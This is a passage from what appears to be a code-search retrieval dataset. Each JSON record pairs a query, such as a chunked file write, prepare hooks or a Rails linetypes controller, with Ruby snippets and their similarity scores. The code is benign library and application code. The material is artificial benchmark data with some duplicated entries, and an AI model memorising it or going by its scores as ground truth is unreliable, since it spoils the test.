"text": "def write(data, offset = 0)\t\n\t\t\t# Track our offset into the remote file\n\t\t\tfptr = offset\n\t\t\t\n\t\t\t# Duplicate the data so we can use slice!\n\t\t\tdata = data.dup\n\t\t\t\n\t\t\t# Take our first chunk of bytes\n\t\t\tchunk = data.slice!(0, self.chunk_size)\n\t\t\t\n\t\t\t# Keep writing data until we run out\n\t\t\twhile (chunk.length > 0)\n\t\t\t\tok = self.client.write(self.file_id, fptr, chunk)\n\t\t\t\tcl = ok['Payload'].v['CountLow']\n\t\t\t\t\n\t\t\t\t# Partial write, push the failed data back into the queue\n\t\t\t\tif (cl != chunk.length)\n\t\t\t\t\tdata = chunk.slice(cl - 1, chunk.length - cl) + data\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\t# Increment our painter and grab the next chunk\n\t\t\t\tfptr += cl\n\t\t\t\tchunk = data.slice!(0, self.chunk_size)\n\t\t\tend\n\t\tend",
"title": ""
},
{
"docid": "91b066f68ae17fe5f41cf6aebc0ee25e",
"score": "0.5375289",
"text": "def write_next_chunk(file); end",
"title": ""
},
{
"docid": "d5c5173200688ad605821b6b98f15e0d",
"score": "0.5368261",
"text": "def write(chunk)\n\t\t\t\t\t# If the reader breaks, the writer will break.\n\t\t\t\t\t# The inverse of this is less obvious (*)\n\t\t\t\t\tif @closed\n\t\t\t\t\t\traise(@error || Closed)\n\t\t\t\t\tend\n\t\t\t\t\t\n\t\t\t\t\t@count += 1\n\t\t\t\t\t@queue.enqueue(chunk)\n\t\t\t\tend",
"title": ""
},
{
"docid": "30804b0b5a762632f5d08be8469f7447",
"score": "0.5361676",
"text": "def write_binary_buffer(buffer = nil, &block)\n buffer ||= new_binary_string\n writer = StringIO.new(buffer, 'wb')\n writer.binmode\n begin\n block.call writer if block_given?\n ensure\n writer.close\n end\n\n StringIO.new(buffer, 'rb')\n end",
"title": ""
},
{
"docid": "68554e4d3abb922413d24b5728053997",
"score": "0.53598344",
"text": "def write(data)\n rescue_writable do\n socket.write_nonblock(data)\n end\n rescue EOFError\n :eof\n end",
"title": ""
},
{
"docid": "4b98279c0e689b41f70c39259de23aa2",
"score": "0.53589493",
"text": "def flush\n lines = nil\n @lock.synchronize do\n before_flush if respond_to?(:before_flush, true)\n lines = @buffer.pop!\n end\n write_to_stream(lines) if lines\n end",
"title": ""
},
{
"docid": "453f8e727b26b47b4a2494c702718439",
"score": "0.5345907",
"text": "def write(file)\n @client.write @handle, file\n end",
"title": ""
},
{
"docid": "23d140e36a928e3626be225bdedb3004",
"score": "0.53441775",
"text": "def flush\n @on_buffered.call(@buffer)\n @buffer = []\n end",
"title": ""
},
{
"docid": "159b4a932965025748f3212b96d45da6",
"score": "0.5343857",
"text": "def write(data)\n socket.write_nonblock(data)\n rescue IO::WaitWritable\n if IO.select(nil, [socket], nil, write_timeout)\n retry\n else\n raise TimeoutError, \"Read timed out after #{write_timeout} seconds\"\n end\n end",
"title": ""
},
{
"docid": "159b4a932965025748f3212b96d45da6",
"score": "0.5343857",
"text": "def write(data)\n socket.write_nonblock(data)\n rescue IO::WaitWritable\n if IO.select(nil, [socket], nil, write_timeout)\n retry\n else\n raise TimeoutError, \"Read timed out after #{write_timeout} seconds\"\n end\n end",
"title": ""
},
{
"docid": "031f629a20ce1eea17fce782cecb6892",
"score": "0.5336114",
"text": "def preventing_writes?; end",
"title": ""
},
{
"docid": "908dd4a2b81c93d23b48111f176fa8aa",
"score": "0.5335573",
"text": "def write(*messages)\n @lock.with_write_lock do\n rotate_log! if should_rotate?\n\n @temp_file.write(*messages) unless messages.empty?\n\n @temp_file.fsync if @temp_file.time_since_sync >= @flush_interval_secs\n end\n end",
"title": ""
},
{
"docid": "4b258e2bf396a5e683d2bbc469b318bd",
"score": "0.53257865",
"text": "def write(buffer)\n struct.write(buffer)\n nil\n end",
"title": ""
},
{
"docid": "56918d1e15ea21eb89d0768c1913450c",
"score": "0.53225076",
"text": "def write_bytes(chunk)\n count = chunk.bytesize\n bytes_needed = bytes_to_use(count)\n if bytes_needed == count\n # write full amount\n @out_stream.write(chunk)\n else\n # see if we are in the range of needed bytes\n # otherwise just skip the bytes\n if bytes_needed > 0\n first = count - bytes_needed\n last = count - 1\n chunk = chunk[first..last]\n # write only the bytes after the seek point\n @out_stream.write(chunk)\n end\n end\n # move offset by full size of chunk since we consumed that many bytes\n @offset += count\n end",
"title": ""
},
{
"docid": "479869f298335ebe12113df3a22f9a53",
"score": "0.53162926",
"text": "def close_write; end",
"title": ""
},
{
"docid": "f3112bf11a341a82df0aba866b06f21b",
"score": "0.531357",
"text": "def write(data, offset: self.pos)\n max = tree.client.max_write_size\n bytes_written = 0\n seek(offset)\n\n while data.length > bytes_written\n data_chunk = data.slice(bytes_written, max)\n response_packet = write_chunk(data_chunk, offset: pos)\n\n # @todo raise instead?\n break if response_packet.nt_status != WindowsError::NTStatus::STATUS_SUCCESS\n\n bytes_written += response_packet.byte_count\n seek(offset + bytes_written)\n end\n\n bytes_written\n end",
"title": ""
},
{
"docid": "e0ed0c097180ed99afabd27d9d669d99",
"score": "0.5306951",
"text": "def syswrite(buffer)\n\t\tlsock.syswrite(buffer)\n\tend",
"title": ""
}
] |
79dd19ddd761edb6922b8616319cce62 | Prepares for activity. Override this method if subclass should prepare before command activity. | [
{
"docid": "e4735ca6555c1ea6b67b2c9628007879",
"score": "0.0",
"text": "def prepare\n Signal.trap(:INT) do\n begin\n terminate\n rescue DRb::ReplyReaderThreadError\n # ignore reply reader error\n end\n end\n end",
"title": ""
}
] | [
{
"docid": "8bd972c951e64f70b0e459fe08cd1d03",
"score": "0.6984396",
"text": "def prepare()\n\t\t\t\t\t# to be overridden in subclasses\n\t\t\t\tend",
"title": ""
},
{
"docid": "089e673b370d2f87c8923e70d28e7563",
"score": "0.69267106",
"text": "def prepare_command\n end",
"title": ""
},
{
"docid": "b5d7ccf2adc1548d6485110967891b23",
"score": "0.68854785",
"text": "def prepare\n run_step(:prepare)\n end",
"title": ""
},
{
"docid": "23d20027556740aa79341d414a9406fe",
"score": "0.68521637",
"text": "def before_prepare\n end",
"title": ""
},
{
"docid": "c462f70069dd7cfbfc3653b459e42199",
"score": "0.68431735",
"text": "def prepare\n end",
"title": ""
},
{
"docid": "c462f70069dd7cfbfc3653b459e42199",
"score": "0.68431735",
"text": "def prepare\n end",
"title": ""
},
{
"docid": "9119a52af36396fd277690fed1e5df6c",
"score": "0.6698136",
"text": "def prepare\r\n end",
"title": ""
},
{
"docid": "d7ee41e3b2e97d2352a12866e18648c2",
"score": "0.6690746",
"text": "def prepare\n\n end",
"title": ""
},
{
"docid": "d7ee41e3b2e97d2352a12866e18648c2",
"score": "0.6690746",
"text": "def prepare\n\n end",
"title": ""
},
{
"docid": "d7ee41e3b2e97d2352a12866e18648c2",
"score": "0.6690746",
"text": "def prepare\n\n end",
"title": ""
},
{
"docid": "fe8755b698c471764f7247a9a746e9b1",
"score": "0.66434014",
"text": "def _prepare \n end",
"title": ""
},
{
"docid": "bd19ff43766179ae70e23a0b23a2d7dc",
"score": "0.66350114",
"text": "def prepare\n end",
"title": ""
},
{
"docid": "bd19ff43766179ae70e23a0b23a2d7dc",
"score": "0.66350114",
"text": "def prepare\n end",
"title": ""
},
{
"docid": "bd19ff43766179ae70e23a0b23a2d7dc",
"score": "0.66350114",
"text": "def prepare\n end",
"title": ""
},
{
"docid": "bd19ff43766179ae70e23a0b23a2d7dc",
"score": "0.66350114",
"text": "def prepare\n end",
"title": ""
},
{
"docid": "bd19ff43766179ae70e23a0b23a2d7dc",
"score": "0.66350114",
"text": "def prepare\n end",
"title": ""
},
{
"docid": "bd19ff43766179ae70e23a0b23a2d7dc",
"score": "0.66350114",
"text": "def prepare\n end",
"title": ""
},
{
"docid": "84873fef25971721b71b97904dd21164",
"score": "0.6582692",
"text": "def prepare\n end",
"title": ""
},
{
"docid": "51ba2d14d26baae05fad97bee584c42c",
"score": "0.65267646",
"text": "def prepare_command; end",
"title": ""
},
{
"docid": "51ba2d14d26baae05fad97bee584c42c",
"score": "0.65267646",
"text": "def prepare_command; end",
"title": ""
},
{
"docid": "dc310b8e6ffd61ccd7316a366b432fc4",
"score": "0.651701",
"text": "def prepare\n raise NotImplementedError.new('The method should be overriden')\n end",
"title": ""
},
{
"docid": "eeb903356036fe3ab6ca807360915385",
"score": "0.6403412",
"text": "def prepare\n set_options\n set_headers\n set_callbacks\n end",
"title": ""
},
{
"docid": "4f1a1df5285b9a21c7b91e95bf650a28",
"score": "0.63306427",
"text": "def prepare!\n unless @prepared\n create_temp_directories\n @riak_script = File.join(@temp_bin, 'riak')\n write_riak_script\n write_vm_args\n write_app_config\n @prepared = true\n end\n end",
"title": ""
},
{
"docid": "8916623a56aff83f82d841b2d88dce1d",
"score": "0.63135034",
"text": "def prepare\n raise NotImplementedError\n end",
"title": ""
},
{
"docid": "8916623a56aff83f82d841b2d88dce1d",
"score": "0.63135034",
"text": "def prepare\n raise NotImplementedError\n end",
"title": ""
},
{
"docid": "c8cd3fe30ee199fe56b20d9d32cc6d4f",
"score": "0.61812764",
"text": "def prepare\n Ethon.logger.warn(\n \"ETHON: It is no longer necessary to call \"+\n \"Easy#prepare. It's going to be removed \"+\n \"in future versions.\"\n )\n end",
"title": ""
},
{
"docid": "bdaaaa519acf00f64bdb9051a981a562",
"score": "0.61497766",
"text": "def prepare\n unless @build_config.skip?(:prepare)\n @env.prepare\n end\n end",
"title": ""
},
{
"docid": "92b7b9209331143b11da3a25c72ae2af",
"score": "0.61335605",
"text": "def to_prepare\n config.hook(:to_prepare).call if config.hook(:to_prepare)\n end",
"title": ""
},
{
"docid": "a2c30303bce44f4b6c2c7ac671cba716",
"score": "0.61327434",
"text": "def prepare\n\t\tputs \"AlgoRun.prepare not implemented\"\n\tend",
"title": ""
},
{
"docid": "802e461a3780952c2321f25e2426190b",
"score": "0.6125492",
"text": "def prepare; end",
"title": ""
},
{
"docid": "802e461a3780952c2321f25e2426190b",
"score": "0.6125492",
"text": "def prepare; end",
"title": ""
},
{
"docid": "802e461a3780952c2321f25e2426190b",
"score": "0.6125492",
"text": "def prepare; end",
"title": ""
},
{
"docid": "802e461a3780952c2321f25e2426190b",
"score": "0.6125492",
"text": "def prepare; end",
"title": ""
},
{
"docid": "802e461a3780952c2321f25e2426190b",
"score": "0.6125492",
"text": "def prepare; end",
"title": ""
},
{
"docid": "802e461a3780952c2321f25e2426190b",
"score": "0.6125492",
"text": "def prepare; end",
"title": ""
},
{
"docid": "ac90de439b16687d5a2d6975f25e31b0",
"score": "0.6076809",
"text": "def prepare\n\n\t\t# ensure the chrome dir exists\n\t\t@objdir = Pathname.new(@opts.mode + \"-\" + @opts.brand)\n\t\t@chrome = @objdir + \"bin\" + \"chrome\"\n\t\t@chrome.mkpath unless @chrome.exist?\n\t\t@components = @objdir + \"bin\" + \"components\"\n\t\t@components.mkpath unless @components.exist?\n\t\t@libdir = @objdir + \"lib\"\n\t\t@libdir.mkpath unless @libdir.exist?\n\n\t\tprepare_chrome_manifest\n\t\tprepare_xulrunner\n\t\tprepare_application\n\n\t\t# walk dir tree locating mk.conf files creating all makefiles\n\t\t@makefiles = Build.prepare( @opts.path, Pathname.new(\"mk.conf\"), @opts )\n\tend",
"title": ""
},
{
"docid": "3a483099e546b69bf32104aaacdefc0f",
"score": "0.60392815",
"text": "def _prepare_context\n @view_flow = OutputFlow.new\n @output_buffer = nil\n @virtual_path = nil\n end",
"title": ""
},
{
"docid": "319b3499b7ca6d0e97d70a1e35b4e220",
"score": "0.6034991",
"text": "def prepare_invoke!\n @prepared = true\n end",
"title": ""
},
{
"docid": "fe0904aefa3237061b9cc8b8146ccbb4",
"score": "0.6027281",
"text": "def prepare(&block)\n @prepare = block\n end",
"title": ""
},
{
"docid": "bfec892dda552599630ec45a584903f8",
"score": "0.600434",
"text": "def prepare!\n if !@is_prepared\n @is_prepared = true\n target.prepare!\n if target.buildfile.task_defined? 'manifest:prepare'\n target.buildfile.invoke 'manifest:prepare',\n :manifest => self,\n :target => self.target,\n :config => self.target.config,\n :project => self.target.project\n end\n end\n return self\n end",
"title": ""
},
{
"docid": "eea19fdeeb47e058b63c60281be6ddaa",
"score": "0.6003153",
"text": "def prepare\n # Get each added param to inject prerequisites as necessary\n params.each do |param|\n param.prepare\n end\n prepare_prerequisites\n end",
"title": ""
},
{
"docid": "ba1d3ac23f18eec82b18a0656768e5d1",
"score": "0.5977251",
"text": "def prepare!; end",
"title": ""
},
{
"docid": "ba1d3ac23f18eec82b18a0656768e5d1",
"score": "0.5977251",
"text": "def prepare!; end",
"title": ""
},
{
"docid": "138a88b9ac44c4aeddb03db94de48751",
"score": "0.5955856",
"text": "def prepare\n Maadi::post_message(:More, \"Analyzer (#{@type}:#{@instance_name}) is ready\")\n super\n end",
"title": ""
},
{
"docid": "b9b75a9e2eab9d7629c38782c0f3b40b",
"score": "0.59138745",
"text": "def setup_intent; end",
"title": ""
},
{
"docid": "3964b6adb1eb54237cf78961f1ef43bf",
"score": "0.5848739",
"text": "def prepare\n # Sanity check\n if @username.nil?\n raise ConfigurationError, \"bot username cannot be nil\"\n end\n\n if @consumer_key.nil? || @consumer_key.empty? ||\n @consumer_secret.nil? || @consumer_key.empty?\n log \"Missing consumer_key or consumer_secret. These details can be acquired by registering a Twitter app at https://apps.twitter.com/\"\n exit 1\n end\n\n if @access_token.nil? || @access_token.empty? ||\n @access_token_secret.nil? || @access_token_secret.empty?\n log \"Missing access_token or access_token_secret. Please run `ebooks auth`.\"\n exit 1\n end\n\n # Save old name\n old_name = username\n # Load user object and actual username\n update_myself\n # Warn about mismatches unless it was clearly intentional\n log \"warning: bot expected to be @#{old_name} but connected to @#{username}\" unless username == old_name || old_name.empty?\n\n fire(:startup)\n end",
"title": ""
},
{
"docid": "5f2056a33c7ec668eb84cfb76dad5016",
"score": "0.58463717",
"text": "def prepare()\n\t\tputs \"Preparing Crawler\" if @verbose\n\tend",
"title": ""
},
{
"docid": "ec7554018a9b404d942fc0a910ed95d9",
"score": "0.5841301",
"text": "def before_setup(&block)\n pre_setup_actions.unshift block\n end",
"title": ""
},
{
"docid": "a6ab1913687a79e184b39bdc256c5fd5",
"score": "0.5827578",
"text": "def prepare!\n context.prepare!\n\n temp_path.rmtree if temp_path.exist?\n temp_path.mkdir\n end",
"title": ""
},
{
"docid": "30eb8211f0646a65a9465e5bf2fafcc7",
"score": "0.58246243",
"text": "def execute\n prepare\n super\n end",
"title": ""
},
{
"docid": "e25ca3f6244b9ffd95314c0453a854e0",
"score": "0.57853115",
"text": "def prepare\n Maadi::post_message(:More, \"Repository (#{@type}:#{@instance_name}) is ready\")\n super(false)\n end",
"title": ""
},
{
"docid": "9afa3a405bdbaa17cc4a9bf446d5315d",
"score": "0.57797",
"text": "def prepare\n # Now add any dynamically generated resources\n generate()\n\n # Then prefetch. It's important that we generate and then prefetch,\n # so that any generated resources also get prefetched.\n prefetch()\n\n # This will throw an error if there are cycles in the graph.\n @sorted_resources = relationship_graph.topsort\n end",
"title": ""
},
{
"docid": "498fbd9409e87aca4f37d8719b5dccad",
"score": "0.5773088",
"text": "def prepare!\n context.prepare!\n\n temp_path.rmtree if temp_path.exist?\n temp_path.mkdir\n temp_raw_path.mkdir\n temp_transformed_path.mkdir\n end",
"title": ""
},
{
"docid": "25167cfdb38c3f956b813023d827d6ba",
"score": "0.5760891",
"text": "def before_prepare\n cleanup if cleanup?\n end",
"title": ""
},
{
"docid": "4c35871b21bc033f0e08de654245540b",
"score": "0.5756496",
"text": "def prepare!\n if !@is_prepared\n @is_prepared = true\n if buildfile.task_defined? 'target:prepare'\n buildfile.invoke 'target:prepare',\n :target => self, :project => self.project, :config => self.config\n end\n end\n return self\n end",
"title": ""
},
{
"docid": "f7b1cb25f4dc854b3ebcf3a1c4670f22",
"score": "0.57297224",
"text": "def prepare\n prepare_ptr = UV.allocate_handle_prepare\n\n check_result! UV.prepare_init(@pointer, prepare_ptr)\n Prepare.new(self, prepare_ptr)\n end",
"title": ""
},
{
"docid": "d491b51e5ad136c96bccf212f7c034c5",
"score": "0.5723001",
"text": "def prep cursor, game\n prepare_action cursor, game\n self\n end",
"title": ""
},
{
"docid": "22904063a54228bfd2fd51f60c53bc6b",
"score": "0.57161224",
"text": "def prepare\n Maadi::post_message(:More, \"Expert (#{@type}) is ready\")\n super\n end",
"title": ""
},
{
"docid": "40c95f3e0354bcbea89aefd847e07b33",
"score": "0.5702583",
"text": "def prepare_novelty!\n end",
"title": ""
},
{
"docid": "98f94db7aea09b1bb91df62568e82799",
"score": "0.5690977",
"text": "def prepare!\n preparation_started!\n\n storage.each_container(&:prepare!)\n\n preparation_finished!\n end",
"title": ""
},
{
"docid": "d396790cff8bf6f8543a954d7950e8a5",
"score": "0.5678115",
"text": "def prepare\n if @options['USE-BUILDER'] == 'TRUE'\n if File.exists?( \"../lib/custom/expert/builders/#{@options['BUILD-NAME']}.xml\" )\n Maadi::post_message(:More, \"Expert (#{@type}) preparing Procedure Builder\")\n\n @builder = Builder::Builder.new()\n @builder.set_option( 'BUILD-NAME', @options['BUILD-NAME'] )\n\n @builder.prepare\n else\n Maadi::post_message(:Warn, \"Expert (#{@type}) unable to access Procedure Build File\")\n return false\n end\n end\n\n if @options['USE-MODEL'] == 'TRUE'\n if File.exists?( \"../lib/custom/expert/models/#{@options['MODEL-NAME']}.rb\" )\n require_relative \"../../../lib/custom/expert/models/#{@options['MODEL-NAME']}\"\n\n class_name = Object.const_get('Maadi').const_get('Expert').const_get('Models').const_get(@options['MODEL-NAME'])\n @model = class_name.new()\n\n @model.prepare\n else\n Maadi::post_message(:Warn, \"Expert (#{@type}) unable to access Model File\")\n return false\n end\n end\n\n Maadi::post_message(:More, \"Expert (#{@type}) is ready\")\n super\n end",
"title": ""
},
{
"docid": "9dacb41e29771dc16b7c4b506d2e4a80",
"score": "0.5676472",
"text": "def after_prepare(prepared)\n prepared\n end",
"title": ""
},
{
"docid": "6061f953e3c4d99d5c87c2bbdb060cf5",
"score": "0.5667515",
"text": "def prepare\n started_at = DateTime.now.to_s\n prepare_deploy\n prepare_common_installation\n puppet_installation\n create_prepare_checkpoint(started_at)\n end",
"title": ""
},
{
"docid": "4bd7af84f46a64b30ad05f081bc86869",
"score": "0.5637887",
"text": "def pre_create_command\n if config[:pre_create_command]\n begin\n run_command(config[:pre_create_command])\n rescue ShellCommandFailed => error\n raise ActionFailed,\n \"pre_create_command '#{config[:pre_create_command]}' failed to execute #{error}\"\n end\n end\n end",
"title": ""
},
{
"docid": "aa9d253b1bda6152615b0a338c912eb1",
"score": "0.56264645",
"text": "def run_pre_create_command\n if config[:pre_create_command]\n run(config[:pre_create_command], :cwd => config[:kitchen_root])\n end\n end",
"title": ""
},
{
"docid": "991bee07aa9b9bf76f7c860030636367",
"score": "0.5625006",
"text": "def pre_initialize\n end",
"title": ""
},
{
"docid": "b71725bba4452b366e14ce5a36f91a5b",
"score": "0.5608849",
"text": "def before_setup\n info :before_setup\n setup_ssh_key if needs?(:ssh_key)\n setup_git_config if needs?(:git)\n setup_git_http_user_agent\n end",
"title": ""
},
{
"docid": "cdc844838a76d2b970557a190fbec380",
"score": "0.55921096",
"text": "def prepare\n # by default we are not ready.\n @is_prepared = false\n\n # collectors should be prepared before anything else.\n @collectors.each do |collector|\n if !collector.is_ready?\n if !collector.prepare\n if !collector.is_ready?\n return false\n end\n end\n end\n end\n\n if @controller.prepare\n Maadi::post_message(:More, 'Manager is ready')\n @is_prepared = true\n end\n end",
"title": ""
},
{
"docid": "66379629b4dedeec9e35f7a7823d4ba5",
"score": "0.55678016",
"text": "def prepare_server\n return if server.tags[\"knife_solo_prepared\"]\n assert_subcommand prepare_command\n runner.tag_as_prepared(server)\n end",
"title": ""
},
{
"docid": "36cad7326bc1256b694769c126c9524b",
"score": "0.55481595",
"text": "def to_prepare(&callback)\n after_initialize do\n require 'dispatcher' unless defined?(::Dispatcher)\n Dispatcher.to_prepare(&callback)\n end\n end",
"title": ""
},
{
"docid": "36cad7326bc1256b694769c126c9524b",
"score": "0.55481595",
"text": "def to_prepare(&callback)\n after_initialize do\n require 'dispatcher' unless defined?(::Dispatcher)\n Dispatcher.to_prepare(&callback)\n end\n end",
"title": ""
},
{
"docid": "59ef8546ac71e692cdfd7ac37f225bf3",
"score": "0.5542624",
"text": "def before\n require_libs\n require_ing_file\n self.shell = shell_class.new; self.shell.base = self\n end",
"title": ""
},
{
"docid": "59ef8546ac71e692cdfd7ac37f225bf3",
"score": "0.5542624",
"text": "def before\n require_libs\n require_ing_file\n self.shell = shell_class.new; self.shell.base = self\n end",
"title": ""
},
{
"docid": "da88436fe6470a2da723e0a1b09a0e80",
"score": "0.55386704",
"text": "def before_setup\n # do nothing by default\n end",
"title": ""
},
{
"docid": "f27f174fcddce31c04c0605e95fb93e7",
"score": "0.55364984",
"text": "def prepare(args)\n self.load_config args.empty? || args.first.nil? ? [Configuration::Base.app.default_environment] : args\n return if prepared?\n\n self.builder.use(Rack::MethodOverride)\n self.builder.instance_eval(&self.middleware_proc) if self.middleware_proc\n self.builder.use(Pakyow::Static) if Configuration::Base.app.static\n self.builder.use(Pakyow::Logger) if Configuration::Base.app.log\n self.builder.use(Pakyow::Reloader) if Configuration::Base.app.auto_reload\n \n @prepared = true\n\n $:.unshift(Dir.pwd) unless $:.include? Dir.pwd\n return self.new\n end",
"title": ""
},
{
"docid": "2e180a07bd4cce13a97fd09e0e84f9cc",
"score": "0.5522058",
"text": "def begin_step\n\n prepare_cache\n end",
"title": ""
},
{
"docid": "c9919bd88f64d36c7bea3bff3dc8674c",
"score": "0.55169487",
"text": "def set_activity_preparation\n @activity_preparation = ActivityPreparation.find(params[:id])\n end",
"title": ""
},
{
"docid": "2ead2ccd85e50d2a7ea397a78d9bd7c6",
"score": "0.55091083",
"text": "def prepare\n FileUtils.mkdir_p @path.dirname\n FileUtils.touch @path\n end",
"title": ""
},
{
"docid": "7829e9f08f25611c90375d1936f367e1",
"score": "0.55060315",
"text": "def prepare\n #create result variable\n res = true\n # get tactics for later use\n tactics = [\n @game.team_home.get_primary_tactics,\n @game.team_away.get_primary_tactics\n ]\n\n # set game data\n @game.transaction do\n # update game to be started\n res = self.update_game_atts_to_started && res\n\n # create copy of prefferred team tactics to game\n res = self.create_team_tactics(1, tactics[0]) && res\n res = self.create_team_tactics(2, tactics[1]) && res\n\n # fill in game_players depending on tactics\n self.create_game_players(@game.team_home, 1, tactics[0])\n self.create_game_players(@game.team_away, 2, tactics[1])\n end\n\n # check whether team has still enough of players, goalkeepers, ...\n if self.check_and_forfeit\n # when not forfeited, recount strengths\n self.count_strengths\n end\n\n return res\n end",
"title": ""
},
{
"docid": "475c7955f6fdef5b6882b8eaea6ec24c",
"score": "0.5493098",
"text": "def prepared\n prepare! unless prepared?\n @prepared\n end",
"title": ""
},
{
"docid": "de604113c11562dd128f09f5be8bf765",
"score": "0.549228",
"text": "def preReady()\n\t\t\t#does nothing. extend in subclasses\n\t\tend",
"title": ""
},
{
"docid": "a5ca4679d7b3eab70d3386a5dbaf27e1",
"score": "0.5483239",
"text": "def perform_setup\n end",
"title": ""
},
{
"docid": "6a376cce0f6d9c46197fd353904b1ff1",
"score": "0.5473513",
"text": "def prepare!\n @routes.sort_by!(&:order)\n @engine = (configuration.enable_compiler? ? Compiler : Recognizer).new(routes)\n @prepared = true\n end",
"title": ""
},
{
"docid": "580002f49472b7f4f58ea837a4d5e069",
"score": "0.54638994",
"text": "def prepare\n super\n @remote_shell = Fulmar::Shell.new @config[:remote_path], @config.ssh_user_and_host\n @remote_shell.debug = @config[:debug]\n\n if @config[:version_name] == 'time'\n @config[:version_name] = Time.now.strftime(TIME_FOLDER)\n elsif /^[A-Z][A-Z0-9\\-_]+$/ =~ @config[:version_name]\n @config[:version_name] = ENV[@config[:version_name]].split('/').last\n end\n end",
"title": ""
},
{
"docid": "e778be78487052b08e89ec89c102005b",
"score": "0.54632246",
"text": "def prepare\n self.output_title\n end",
"title": ""
},
{
"docid": "e778be78487052b08e89ec89c102005b",
"score": "0.54632246",
"text": "def prepare\n self.output_title\n end",
"title": ""
},
{
"docid": "e778be78487052b08e89ec89c102005b",
"score": "0.54632246",
"text": "def prepare\n self.output_title\n end",
"title": ""
},
{
"docid": "8d9577cd4d94ac86b8ef031b78ae5813",
"score": "0.5457666",
"text": "def prepare\n\t\t\t# Load the instance and set the path to the source\n\t\t\t@template = Inversion::Template.new( self.data, self.options )\n\t\t\t@template.source_file = self.file\n\t\tend",
"title": ""
},
{
"docid": "2aa85601e0523552d80bd5b1b0143d9a",
"score": "0.54508686",
"text": "def prepare\n if public_shell_interface?\n setup_shell_interface\n end\n if public_rest_interface?\n setup_rest_interface\n end\n\n if public_logs? && log_create_current?\n FileUtils.rm_f File.join(log_base_dir, \"current\")\n FileUtils.ln_s log_dir, File.join(log_base_dir, \"current\")\n end\n\n if log[\"events\"] && public_log_server?\n logfile_path = prepare_event_log\n\n # Start a log server if needed, and poll the log directory for new\n # data sources\n if (log_server_options = (log.has_key?(\"server\") ? log[\"server\"] : {}))\n unless log_server_options.kind_of?(Hash)\n log_server_options = {}\n end\n plan.event_logger.sync = true\n start_log_server(logfile_path, log_server_options)\n Roby.info \"log server started\"\n else\n plan.event_logger.sync = false\n Roby.warn \"log server disabled\"\n end\n end\n\n call_plugins(:prepare, self)\n end",
"title": ""
},
{
"docid": "340ae187763e8cd752bda82d9c6873f3",
"score": "0.5450581",
"text": "def setup\n @setup_called = true\n end",
"title": ""
},
{
"docid": "ab3fff66f342a123d833b0f122bad50a",
"score": "0.54395556",
"text": "def prepare_inputs\n in_context(\"prep.inputs\") { @inputs.prepare(@input_data) }\n end",
"title": ""
},
{
"docid": "6d959cc05a17881fd084c750d8be7081",
"score": "0.5439259",
"text": "def prepare!\n configure if configuration_valid?\n end",
"title": ""
},
{
"docid": "bdeb26d303599ef2bbed655c6205f1a9",
"score": "0.5435972",
"text": "def setup\n\n application.setup!\n\n yield(application)\n\n application.prepare!\n\n end",
"title": ""
},
{
"docid": "2920fa639f3dddadd001afce73f0c4b9",
"score": "0.54343307",
"text": "def pre_initialize(*args)\n end",
"title": ""
},
{
"docid": "2782caff92f9708c3278c9dd4fd6f363",
"score": "0.54301184",
"text": "def preRun\n end",
"title": ""
},
{
"docid": "fbcff40dd7b40464f8b427e8ef7fed7f",
"score": "0.54237837",
"text": "def prepare_with &block\n self._prepare_with = block if block_given?\n self._prepare_with\n end",
"title": ""
},
{
"docid": "5c05ee8144a980e20d6e9215aef247a3",
"score": "0.54093015",
"text": "def before\n _init_env\n end",
"title": ""
},
{
"docid": "d5d345be1f9eb7e95e9206d0d3e8ba7b",
"score": "0.54043037",
"text": "def before_perform\n\n @basename = File.join(job.job_dir, job.jobid)\n @seqfile = @basename + \".prepare\"\n @infile = @basename + \".in\"\n params_to_file(@seqfile, 'sequence_input', 'sequence_file')\n\n @ownpdbfiles = ['own_pdb_file1','own_pdb_file2','own_pdb_file3','own_pdb_file4','own_pdb_file5']\n @ownpdbnames = ['own_pdb_name1','own_pdb_name2','own_pdb_name3','own_pdb_name4','own_pdb_name5']\n @ownpdbfiles.each_index do |i|\n ownpdbfile = File.join(job.job_dir, \"#{params[@ownpdbnames[i]]}.pdb\")\n params_to_file(ownpdbfile, @ownpdbfiles[i])\n end\n\n @commands = []\n\n @format = params[\"informat\"].nil? ? 'fas' : params[\"informat\"]\n\n @seq_name = \"#{job.jobid}_temp\";\n @local_dir = \"/tmp\"\n\n @modeller_key = params['modeller_key']\n @need_key = params['need_key']\n\n if (@need_key == \"false\")\n @modeller_key = \"MODELIRANJE\"\n end\n\n end",
"title": ""
},
{
"docid": "fa102610d94faa513fbc36248fdaa418",
"score": "0.5396896",
"text": "def prepare\n FileUtils.rm_rf(output_dir)\n FileUtils.mkdir_p(output_dir)\n FileUtils.touch(output_dir_gitkeep_file)\n FileUtils.rm_rf(cache_dir)\n FileUtils.mkdir_p(cache_dir)\n FileUtils.touch(cache_dir_gitkeep_file)\n end",
"title": ""
},
{
"docid": "3f8e1c7e5a6b04f28fd5c7bd62002c65",
"score": "0.5391749",
"text": "def setup\n application.setup!\n yield(application)\n application.prepare!\n end",
"title": ""
},
{
"docid": "66baa8fe9774c114b0c67d5299bc0874",
"score": "0.53862256",
"text": "def prepare_to_send!\n return self if @prepared\n\n if Agent::Database.should_record_sql?\n collect_explain_plans!\n prepare_sql_for_transmission!\n else\n strip_sql!\n end\n\n @prepared = true\n self\n end",
"title": ""
}
] |
2a294e1e36219daff9d93f463387f723 | POST /linetypes POST /linetypes.xml | [
{
"docid": "64259ed297fce17e51d7291de3a0a11f",
"score": "0.65959024",
"text": "def create\n @linetype = Linetype.new(params[:linetype])\n\n respond_to do |format|\n if @linetype.save\n format.html { redirect_to(@linetype, :notice => 'Linetype was successfully created.') }\n format.xml { render :xml => @linetype, :status => :created, :location => @linetype }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @linetype.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
}
] | [
{
"docid": "a3aeb95bf3db453d87cb99521eca1521",
"score": "0.6216792",
"text": "def create\n @line_type = LineType.new(line_type_params)\n\n if @line_type.save\n render json: @line_type, status: :created, location: @line_type\n else\n render json: @line_type.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "5613fd290f34f7bdb3e2221a9f576001",
"score": "0.58416796",
"text": "def new\n @linetype = Linetype.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @linetype }\n end\n end",
"title": ""
},
{
"docid": "2627206ad5b362b322e4a06c8fa451b1",
"score": "0.56342494",
"text": "def create_types\n\t[]\nend",
"title": ""
},
{
